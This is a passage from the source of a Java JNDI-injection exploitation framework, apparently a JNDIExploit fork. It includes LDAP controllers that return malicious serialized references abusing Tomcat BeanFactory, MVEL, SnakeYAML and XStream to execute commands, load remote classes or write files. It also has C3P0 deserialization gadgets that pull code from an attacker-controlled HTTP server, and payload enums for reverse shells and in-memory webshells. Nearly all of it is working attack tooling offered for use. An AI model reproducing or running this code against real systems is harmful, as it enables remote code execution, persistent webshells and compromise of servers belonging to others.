| 16 | /* 17 | ldap://x.x.x.x:1389/xstream 18 | 19 | Ref: https://b1ue.cn/archives/529.html 20 | */ 21 | 22 | @LdapMapping(uri = { "/tomcatmvel" }) 23 | public class TomcatMVELController implements LdapController { 24 | 25 | private PayloadType type; 26 | private String[] params; 27 | 28 | @Override 29 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 30 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 31 | 32 | Entry e = new Entry(base); 33 | e.addAttribute("javaClassName", "java.lang.String"); //could be any 34 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory 35 | ResourceRef ref = getResourceRefBytomcatMVEL(params[0]); 36 | 37 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 38 | 39 | result.sendSearchEntry(e); 40 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 41 | 42 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 43 | } 44 | 45 | @Override 46 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 47 | try{ 48 | int firstIndex = base.indexOf("/"); 49 | int secondIndex = base.indexOf("/", firstIndex + 1); 50 | if(secondIndex < 0) secondIndex = base.length(); 51 | 52 | //因为我对 grovvy 的语法完全不懂,所以目前只支持执行命令这一种形式的 PayloadType 53 | String payloadType = base.substring(firstIndex + 1, secondIndex); 54 | if(payloadType.equalsIgnoreCase("command")){ 55 | type = PayloadType.valueOf("command"); 56 | System.out.println("[+] Paylaod: " + type); 57 | }else{ 58 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType); 59 | } 60 | 61 | String cmd = Util.getCmdFromBase(base); 62 | System.out.println("[+] Command: " + cmd); 63 | params = new String[]{cmd}; 64 | }catch(Exception e){ 65 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 66 | 67 | throw new IncorrectParamsException("Incorrect params: " + base); 68 | } 69 | } 70 | 71 | private static ResourceRef getResourceRefBytomcatMVEL(String cmd){ 72 | ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "", 73 | true, "org.apache.naming.factory.BeanFactory", null); 74 | ref.add(new StringRefAddr("forceString", "a=exec")); 75 | ref.add(new StringRefAddr("a", 76 | "push Runtime.getRuntime().exec('" + cmd + "');")); 77 | return ref; 78 | } 79 | 80 | 81 | public static void main(String[] args) throws Exception { 82 | Class clazz = SpringMemshellTemplate.class; 83 | String classCode = Util.getClassCode(clazz); 84 | System.out.println(classCode); 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/TomcatRceController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.utils.Util; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | import com.unboundid.ldap.sdk.Entry; 9 | import com.unboundid.ldap.sdk.LDAPResult; 10 | import com.unboundid.ldap.sdk.ResultCode; 11 | import org.apache.naming.ResourceRef; 12 | 13 | import javax.naming.StringRefAddr; 14 | 15 | // Ref: https://tttang.com/archive/1405/#toc_webshell 16 | @LdapMapping(uri = { "/tomcatrce" }) 17 | public class TomcatRceController implements LdapController{ 18 | 19 | private PayloadType type; 20 | private String[] params; 21 | 22 | @Override 23 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 24 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 25 | 26 | Entry e = new Entry(base); 27 | e.addAttribute("javaClassName", "java.lang.String"); 28 | 29 | // ResourceRef ref = new ResourceRef("org.apache.commons.configuration2.SystemConfiguration", 30 | // null, "", "", true, 31 | // "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null); 32 | // ref.add(new StringRefAddr("systemProperties", params[0])); 33 | 34 | // "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp" 35 | ResourceRef ref = tomcatWriteFile(params[0]); 36 | 37 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 38 | 39 | result.sendSearchEntry(e); 40 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 41 | 42 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 43 | } 44 | 45 | private static ResourceRef tomcatWriteFile(String pathName) { 46 | ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", 47 | true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); 48 | ref.add(new StringRefAddr("pathname", pathName)); 49 | ref.add(new StringRefAddr("readonly", "false")); 50 | return ref; 51 | } 52 | 53 | @Override 54 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 55 | try{ 56 | int firstIndex = base.indexOf("/"); 57 | int secondIndex = base.indexOf("/", firstIndex + 1); 58 | if(secondIndex < 0) secondIndex = base.length(); 59 | 60 | try{ 61 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 62 | 63 | // 只支持这一种 64 | if(type != PayloadType.url){ 65 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type); 66 | } 67 | 68 | System.out.println("[+] Paylaod: " + type); 69 | }catch(IllegalArgumentException e){ 70 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex)); 71 | } 72 | 73 | switch (type){ 74 | case url: 75 | String url = Util.getUrlFromBase(base); 76 | System.out.println("[+] jsp webserver url: " + url); 77 | params = new String[]{url}; // 设置好url,待sendResult方法内使用 78 | break; 79 | } 80 | }catch(Exception e){ 81 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 82 | 83 | throw new IncorrectParamsException("Incorrect params: " + base); 84 | } 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/TomcatSnakeYamlController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.template.*; 7 | import com.feihong.ldap.utils.*; 8 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 9 | import com.unboundid.ldap.sdk.Entry; 10 | import com.unboundid.ldap.sdk.LDAPResult; 11 | import com.unboundid.ldap.sdk.ResultCode; 12 | import org.apache.naming.ResourceRef; 13 | import javax.naming.StringRefAddr; 14 | 15 | /* 16 | ldap://x.x.x.x:1389/snakeyaml 17 | */ 18 | 19 | @LdapMapping(uri = { "/tomcatsnakeyaml" }) 20 | public class TomcatSnakeYamlController implements LdapController { 21 | 22 | private PayloadType type; 23 | private String[] params; 24 | 25 | @Override 26 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 27 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 28 | 29 | Entry e = new Entry(base); 30 | e.addAttribute("javaClassName", "java.lang.String"); //could be any 31 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory 32 | ResourceRef ref = getResourceRefBytomcatSnakeyaml(params[0]); 33 | 34 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 35 | 36 | result.sendSearchEntry(e); 37 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 38 | 39 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 40 | } 41 | 42 | @Override 43 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 44 | try{ 45 | int fistIndex = base.indexOf("/"); 46 | int secondIndex = base.indexOf("/", fistIndex + 1); 47 | if(secondIndex < 0) secondIndex = base.length(); 48 | 49 | try{ 50 | type = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase()); 51 | System.out.println("[+] Paylaod: " + type); 52 | }catch(IllegalArgumentException e){ 53 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(fistIndex + 1, secondIndex)); 54 | } 55 | 56 | switch (type){ 57 | case url: 58 | String url = Util.getUrlFromBase(base); 59 | System.out.println("[+] Propertiy url: " + url); 60 | params = new String[]{url}; // 设置好url,待sendResult方法内使用 61 | break; 62 | } 63 | }catch(Exception e){ 64 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 65 | 66 | throw new IncorrectParamsException("Incorrect params: " + base); 67 | } 68 | } 69 | 70 | private static ResourceRef getResourceRefBytomcatSnakeyaml(String _url){ 71 | ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", 72 | true, "org.apache.naming.factory.BeanFactory", null); 73 | String yaml = "!!javax.script.ScriptEngineManager [\n" + 74 | " !!java.net.URLClassLoader [[\n" + 75 | " !!java.net.URL [\"" + _url + "\"]\n" + 76 | " ]]\n" + 77 | "]"; 78 | ref.add(new StringRefAddr("forceString", "x=load")); 79 | ref.add(new StringRefAddr("x", yaml)); 80 | return ref; 81 | } 82 | 83 | 84 | public static void main(String[] args) throws Exception { 85 | Class clazz = SpringMemshellTemplate.class; 86 | String classCode = Util.getClassCode(clazz); 87 | System.out.println(classCode); 88 | } 89 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/TomcatXStreamController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.exceptions.IncorrectParamsException; 4 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 5 | import com.feihong.ldap.template.SpringMemshellTemplate; 6 | import com.feihong.ldap.utils.Util; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | import com.unboundid.ldap.sdk.Entry; 9 | import com.unboundid.ldap.sdk.LDAPResult; 10 | import com.unboundid.ldap.sdk.ResultCode; 11 | import org.apache.naming.ResourceRef; 12 | import javax.naming.StringRefAddr; 13 | 14 | /* 15 | ldap://x.x.x.x:1389/xstream 16 | 17 | Ref: https://b1ue.cn/archives/529.html 18 | 19 | TODO: 需要修改一下payload,没有成功。 20 | */ 21 | 22 | @LdapMapping(uri = { "/tomcatxstream" }) 23 | public class TomcatXStreamController implements LdapController { 24 | 25 | @Override 26 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 27 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 28 | 29 | Entry e = new Entry(base); 30 | e.addAttribute("javaClassName", "java.lang.String"); //could be any 31 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory 32 | ResourceRef ref = getResourceRefBytomcatXstream(); 33 | 34 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 35 | 36 | result.sendSearchEntry(e); 37 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 38 | 39 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 40 | } 41 | 42 | @Override 43 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 44 | } 45 | 46 | private static ResourceRef getResourceRefBytomcatXstream(){ 47 | ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "", 48 | true, "org.apache.naming.factory.BeanFactory", null); 49 | String xml = "\n" + 50 | " \n" + 51 | " \n" + 52 | " \n" + 53 | " 2\n" + 54 | " \n" + 55 | " 3\n" + 56 | " \n" + 57 | " java.lang.Comparable\n" + 58 | " \n" + 59 | " true\n" + 60 | " java.lang.Comparable\n" + 61 | " \n" + 62 | " \n" + 63 | " \n" + 64 | " java.lang.Comparable\n" + 65 | " compareTo\n" + 66 | " \n" + 67 | " java.lang.Object\n" + 68 | " \n" + 69 | " \n" + 70 | " \n" + 71 | " \n" + 72 | " \n" + 73 | " java.lang.Runtime\n" + 74 | " exec\n" + 75 | " \n" + 76 | " java.lang.String\n" + 77 | " \n" + 78 | " \n" + 79 | " \n" + 80 | " \n" + 81 | " \n" + 82 | " \n" + 83 | " \n" + 84 | " notepad\n" + 85 | " \n" + 86 | ""; 87 | ref.add(new StringRefAddr("forceString", "a=fromXML")); 88 | ref.add(new StringRefAddr("a", xml)); 89 | return ref; 90 | } 91 | 92 | 93 | public static void main(String[] args) throws Exception { 94 | Class clazz = SpringMemshellTemplate.class; 95 | String classCode = Util.getClassCode(clazz); 96 | System.out.println(classCode); 97 | } 98 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/TomcatXXEController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.utils.Util; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | import com.unboundid.ldap.sdk.Entry; 9 | import com.unboundid.ldap.sdk.LDAPResult; 10 | import com.unboundid.ldap.sdk.ResultCode; 11 | import org.apache.naming.ResourceRef; 12 | 13 | import javax.naming.StringRefAddr; 14 | 15 | // Ref: https://github.com/iSafeBlue/presentation-slides/blob/main/BCS2022-%E6%8E%A2%E7%B4%A2JNDI%E6%94%BB%E5%87%BB.pdf 16 | @LdapMapping(uri = { "/tomcatxxe" }) 17 | public class TomcatXXEController implements LdapController{ 18 | 19 | private PayloadType type; 20 | private String[] params; 21 | 22 | @Override 23 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 24 | System.out.println("[+] Sending LDAP ResourceRef result for " + base); 25 | 26 | Entry e = new Entry(base); 27 | e.addAttribute("javaClassName", "java.lang.String"); 28 | 29 | ResourceRef ref = tomcatMemoryXXE(params[0]); 30 | 31 | e.addAttribute("javaSerializedData", Util.serialize(ref)); 32 | 33 | result.sendSearchEntry(e); 34 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 35 | 36 | System.out.println("[+] Done Sending LDAP ResourceRef result"); 37 | } 38 | 39 | private ResourceRef tomcatMemoryXXE(String xmlUrl){ 40 | ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, 41 | "org.apache.catalina.users.MemoryUserDatabaseFactory", null); 42 | ref.add(new StringRefAddr("pathname", xmlUrl)); 43 | 44 | return ref; 45 | } 46 | 47 | @Override 48 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { 49 | try{ 50 | int firstIndex = base.indexOf("/"); 51 | int secondIndex = base.indexOf("/", firstIndex + 1); 52 | if(secondIndex < 0) secondIndex = base.length(); 53 | 54 | try{ 55 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 56 | 57 | // 只支持这一种 58 | if(type != PayloadType.url){ 59 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type); 60 | } 61 | 62 | System.out.println("[+] Paylaod: " + type); 63 | }catch(IllegalArgumentException e){ 64 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex)); 65 | } 66 | 67 | switch (type){ 68 | case url: 69 | String url = Util.getUrlFromBase(base); 70 | System.out.println("[+] XXE xml url: " + url); 71 | params = new String[]{url}; // 设置好url,待sendResult方法内使用 72 | break; 73 | } 74 | }catch(Exception e){ 75 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 76 | 77 | throw new IncorrectParamsException("Incorrect params: " + base); 78 | } 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/enumtypes/GadgetType.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.enumtypes; 2 | 3 | public enum GadgetType { 4 | // must be lowercase 5 | urldns, 6 | commonsbeanutils1, 7 | commonsbeanutils2, 8 | commonsbeanutils2_2, // added by cqq on 2023-11-08 9 | commonscollectionsk1, 10 | commonscollectionsk2, 11 | commonscollections4, // Added by cqq on 2022-9-2 12 | commonsbeanutils192withoutcc, // Added by cqq on 2023-7-6 13 | jdk7u21, 14 | jre8u20, 15 | c3p0, 16 | C3P0_LowVer, // Added by cqq on 2023-7-6 17 | fastjson1, // added by cqq 2023-10-12 18 | fastjson2, 19 | jackson1, 20 | jackson2, 21 | jackson22, 22 | jackson222, 23 | jackson3, 24 | jackson4, 25 | cve_2020_2555, 26 | cve_2020_2883; 27 | } 28 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/enumtypes/PayloadType.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.enumtypes; 2 | 3 | public enum PayloadType { 4 | command, 5 | dnslog, 6 | reverseshell, 7 | tomcatecho, 8 | springecho, 9 | weblogicecho, 10 | tomcatmemshell1, 11 | tomcatmemshell2, 12 | weblogicmemshell1, 13 | weblogicmemshell2, 14 | jettymemshell, 15 | jbossmemshell, 16 | webspherememshell, 17 | springmemshell, 18 | url, 19 | factory, 20 | } 21 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/enumtypes/WebsphereActionType.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.enumtypes; 2 | 3 | public enum WebsphereActionType { 4 | list, 5 | upload, 6 | rce; 7 | } 8 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/exceptions/IncorrectParamsException.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.exceptions; 2 | 3 | public class IncorrectParamsException extends RuntimeException { 4 | public IncorrectParamsException(){ 5 | super(); 6 | } 7 | public IncorrectParamsException(String message){ 8 | super(message); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/exceptions/UnSupportedActionTypeException.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.exceptions; 2 | 3 | public class UnSupportedActionTypeException extends RuntimeException{ 4 | public UnSupportedActionTypeException(){ 5 | super(); 6 | } 7 | public UnSupportedActionTypeException(String message){ 8 | super(message); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.exceptions; 2 | 3 | public class UnSupportedGadgetTypeException extends RuntimeException { 4 | public UnSupportedGadgetTypeException(){ super();} 5 | public UnSupportedGadgetTypeException(String message){ 6 | super(message); 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.exceptions; 2 | 3 | public class UnSupportedPayloadTypeException extends RuntimeException { 4 | public UnSupportedPayloadTypeException(){ 5 | super(); 6 | } 7 | public UnSupportedPayloadTypeException(String message){ 8 | super(message); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/C3P0.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import java.io.*; 4 | import java.lang.reflect.Field; 5 | import java.sql.SQLException; 6 | import java.sql.SQLFeatureNotSupportedException; 7 | import java.util.Base64; 8 | import java.util.logging.Logger; 9 | import javax.naming.NamingException; 10 | import javax.naming.Reference; 11 | import javax.naming.Referenceable; 12 | import javax.sql.ConnectionPoolDataSource; 13 | import javax.sql.PooledConnection; 14 | 15 | import com.feihong.ldap.template.*; 16 | import com.feihong.ldap.utils.Config; 17 | import com.feihong.ldap.enumtypes.PayloadType; 18 | import com.mchange.v2.c3p0.PoolBackedDataSource; 19 | import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; 20 | 21 | 22 | public class C3P0 { 23 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 24 | 25 | String className; 26 | switch (type){ 27 | case command: 28 | CommandTemplate commandTemplate = new CommandTemplate(param[0]); 29 | commandTemplate.cache(); 30 | className = commandTemplate.getClassName(); 31 | break; 32 | case dnslog: 33 | DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]); 34 | dnslogTemplate.cache(); 35 | className = dnslogTemplate.getClassName(); 36 | break; 37 | case reverseshell: 38 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]); 39 | reverseShellTemplate.cache(); 40 | className = reverseShellTemplate.getClassName(); 41 | break; 42 | case tomcatecho: 43 | className = TomcatEchoTemplate.class.getName(); 44 | break; 45 | case springecho: 46 | className = SpringEchoTemplate.class.getName(); 47 | break; 48 | case tomcatmemshell1: 49 | className = TomcatMemshellTemplate1.class.getName(); 50 | break; 51 | case tomcatmemshell2: 52 | className = TomcatMemshellTemplate2.class.getName(); 53 | break; 54 | case jettymemshell: 55 | className = JettyMemshellTemplate.class.getName(); 56 | break; 57 | case jbossmemshell: 58 | className = JBossMemshellTemplate.class.getName(); 59 | break; 60 | case webspherememshell: 61 | className = WebsphereMemshellTemplate.class.getName(); 62 | break; 63 | case springmemshell: 64 | className = SpringMemshellTemplate.class.getName(); 65 | break; 66 | default: 67 | throw new IllegalStateException("Unexpected value: " + type); 68 | } 69 | 70 | PoolBackedDataSource b = PoolBackedDataSource.class.newInstance(); 71 | Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); 72 | field.setAccessible(true); 73 | field.set(b, new PoolSource(className,"http://" + Config.ip + ":" + Config.httpPort + "/")); 74 | 75 | //序列化 76 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 77 | ObjectOutputStream oos = new ObjectOutputStream(baous); 78 | oos.writeObject(b); 79 | byte[] bytes = baous.toByteArray(); 80 | oos.close(); 81 | 82 | return bytes; 83 | } 84 | 85 | 86 | private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { 87 | 88 | private String className; 89 | private String url; 90 | 91 | public PoolSource ( String className, String url ) { 92 | this.className = className; 93 | this.url = url; 94 | } 95 | 96 | public Reference getReference () throws NamingException { 97 | return new Reference("exploit", this.className, this.url); 98 | } 99 | 100 | public PrintWriter getLogWriter () throws SQLException {return null;} 101 | public void setLogWriter ( PrintWriter out ) throws SQLException {} 102 | public void setLoginTimeout ( int seconds ) throws SQLException {} 103 | public int getLoginTimeout () throws SQLException {return 0;} 104 | public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} 105 | public PooledConnection getPooledConnection () throws SQLException {return null;} 106 | public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} 107 | } 108 | 109 | public static void main(String[] args) { 110 | CommandTemplate commandTemplate = new CommandTemplate("notepad"); 111 | commandTemplate.generate(); 112 | 113 | // new FileOutputStream(commandTemplate.getClassName() + ".class").write(commandTemplate.getBytes()); 114 | System.out.println(Base64.getEncoder().encodeToString(commandTemplate.getBytes())); 115 | System.out.println(commandTemplate.getClassName()); 116 | } 117 | } 118 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/C3P0_LowVer.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.JavassistClassLoader; 4 | import com.feihong.ldap.enumtypes.PayloadType; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.feihong.ldap.template.*; 7 | import com.feihong.ldap.utils.Config; 8 | import javassist.ClassClassPath; 9 | import javassist.ClassPool; 10 | import javassist.CtClass; 11 | import javassist.CtField; 12 | 13 | import javax.naming.NamingException; 14 | import javax.naming.Reference; 15 | import javax.naming.Referenceable; 16 | import javax.sql.ConnectionPoolDataSource; 17 | import javax.sql.PooledConnection; 18 | import java.io.ByteArrayOutputStream; 19 | import java.io.ObjectOutputStream; 20 | import java.io.PrintWriter; 21 | import java.sql.SQLException; 22 | import java.sql.SQLFeatureNotSupportedException; 23 | import java.util.logging.Logger; 24 | 25 | public class C3P0_LowVer { 26 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 27 | 28 | String className; 29 | switch (type){ 30 | case command: 31 | CommandTemplate commandTemplate = new CommandTemplate(param[0]); 32 | commandTemplate.cache(); 33 | className = commandTemplate.getClassName(); 34 | break; 35 | case dnslog: 36 | DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]); 37 | dnslogTemplate.cache(); 38 | className = dnslogTemplate.getClassName(); 39 | break; 40 | case reverseshell: 41 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]); 42 | reverseShellTemplate.cache(); 43 | className = reverseShellTemplate.getClassName(); 44 | break; 45 | case tomcatecho: 46 | className = TomcatEchoTemplate.class.getName(); 47 | break; 48 | case springecho: 49 | className = SpringEchoTemplate.class.getName(); 50 | break; 51 | case tomcatmemshell1: 52 | className = TomcatMemshellTemplate1.class.getName(); 53 | break; 54 | case tomcatmemshell2: 55 | className = TomcatMemshellTemplate2.class.getName(); 56 | break; 57 | case jettymemshell: 58 | className = JettyMemshellTemplate.class.getName(); 59 | break; 60 | case jbossmemshell: 61 | className = JBossMemshellTemplate.class.getName(); 62 | break; 63 | case webspherememshell: 64 | className = WebsphereMemshellTemplate.class.getName(); 65 | break; 66 | case springmemshell: 67 | className = SpringMemshellTemplate.class.getName(); 68 | break; 69 | default: 70 | throw new IllegalStateException("Unexpected value: " + type); 71 | } 72 | 73 | 74 | // PoolBackedDataSource b = PoolBackedDataSource.class.newInstance(); 75 | // Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); 76 | // field.setAccessible(true); 77 | // field.set(b, new C3P0_LowVer.PoolSource(className,"http://" + Config.ip + ":" + Config.httpPort + "/")); 78 | 79 | 80 | 81 | ClassPool pool = new ClassPool(); 82 | pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource"))); 83 | final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource"); 84 | 85 | try { 86 | CtField ctSUID = ctPoolBackedDataSource.getDeclaredField("serialVersionUID"); 87 | ctPoolBackedDataSource.removeField(ctSUID); 88 | }catch (javassist.NotFoundException e){} 89 | ctPoolBackedDataSource.addField(CtField.make("private static final long serialVersionUID = 7387108436934414104L;", ctPoolBackedDataSource)); 90 | 91 | // mock method name until armed 92 | final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new JavassistClassLoader()); 93 | 94 | Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource); 95 | Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className,"http://" + Config.ip + ":" + Config.httpPort + "/")); 96 | 97 | //序列化 98 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 99 | ObjectOutputStream oos = new ObjectOutputStream(baous); 100 | oos.writeObject(b); 101 | byte[] bytes = baous.toByteArray(); 102 | oos.close(); 103 | 104 | return bytes; 105 | } 106 | 107 | 108 | private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { 109 | 110 | private String className; 111 | private String url; 112 | 113 | public PoolSource ( String className, String url ) { 114 | this.className = className; 115 | this.url = url; 116 | } 117 | 118 | public Reference getReference () throws NamingException { 119 | return new Reference("exploit", this.className, this.url); 120 | } 121 | 122 | public PrintWriter getLogWriter () throws SQLException {return null;} 123 | public void setLogWriter ( PrintWriter out ) throws SQLException {} 124 | public void setLoginTimeout ( int seconds ) throws SQLException {} 125 | public int getLoginTimeout () throws SQLException {return 0;} 126 | public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} 127 | public PooledConnection getPooledConnection () throws SQLException {return null;} 128 | public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CVE_2020_2555.java: -------------------------------------------------------------------------------- 1 | //package com.feihong.ldap.gadgets; 2 | // 3 | //import com.feihong.ldap.enumtypes.PayloadType; 4 | //import com.feihong.ldap.gadgets.utils.ClassFiles; 5 | //import com.feihong.ldap.template.*; 6 | //import com.feihong.ldap.utils.Cache; 7 | //import com.tangosol.util.extractor.ChainedExtractor; 8 | //import com.tangosol.util.extractor.ReflectionExtractor; 9 | //import com.tangosol.util.filter.LimitFilter; 10 | //import org.apache.tomcat.util.buf.HexUtils; 11 | // 12 | //import javax.management.BadAttributeValueExpException; 13 | //import javax.script.ScriptEngineManager;; 14 | //import java.io.ByteArrayOutputStream; 15 | //import java.io.ObjectOutputStream; 16 | //import java.lang.reflect.Field; 17 | // 18 | //public class CVE_2020_2555 { 19 | // public static byte[] getBytes(PayloadType type, String... param) throws Exception { 20 | // 21 | // String className; 22 | // switch (type){ 23 | // case command: 24 | // CommandTemplate commandTemplate = new CommandTemplate(param[0]); 25 | // commandTemplate.cache(); 26 | // className = commandTemplate.getClassName(); 27 | // break; 28 | // case dnslog: 29 | // DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]); 30 | // dnslogTemplate.cache(); 31 | // className = dnslogTemplate.getClassName(); 32 | // break; 33 | // case reverseshell: 34 | // ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]); 35 | // reverseShellTemplate.cache(); 36 | // className = reverseShellTemplate.getClassName(); 37 | // break; 38 | // case tomcatecho: 39 | // className = TomcatEchoTemplate.class.getName(); 40 | // break; 41 | // case springecho: 42 | // className = SpringEchoTemplate.class.getName(); 43 | // break; 44 | // case weblogicecho: 45 | // className = WeblogicEchoTemplate.class.getName(); 46 | // break; 47 | // case tomcatmemshell1: 48 | // className = TomcatMemshellTemplate1.class.getName(); 49 | // break; 50 | // case tomcatmemshell2: 51 | // className = TomcatMemshellTemplate2.class.getName(); 52 | // break; 53 | // case jettymemshell: 54 | // className = JettyMemshellTemplate.class.getName(); 55 | // break; 56 | // case jbossmemshell: 57 | // className = JBossMemshellTemplate.class.getName(); 58 | // break; 59 | // case weblogicmemshell1: 60 | // className = WeblogicMemshellTemplate1.class.getName(); 61 | // break; 62 | // case weblogicmemshell2: 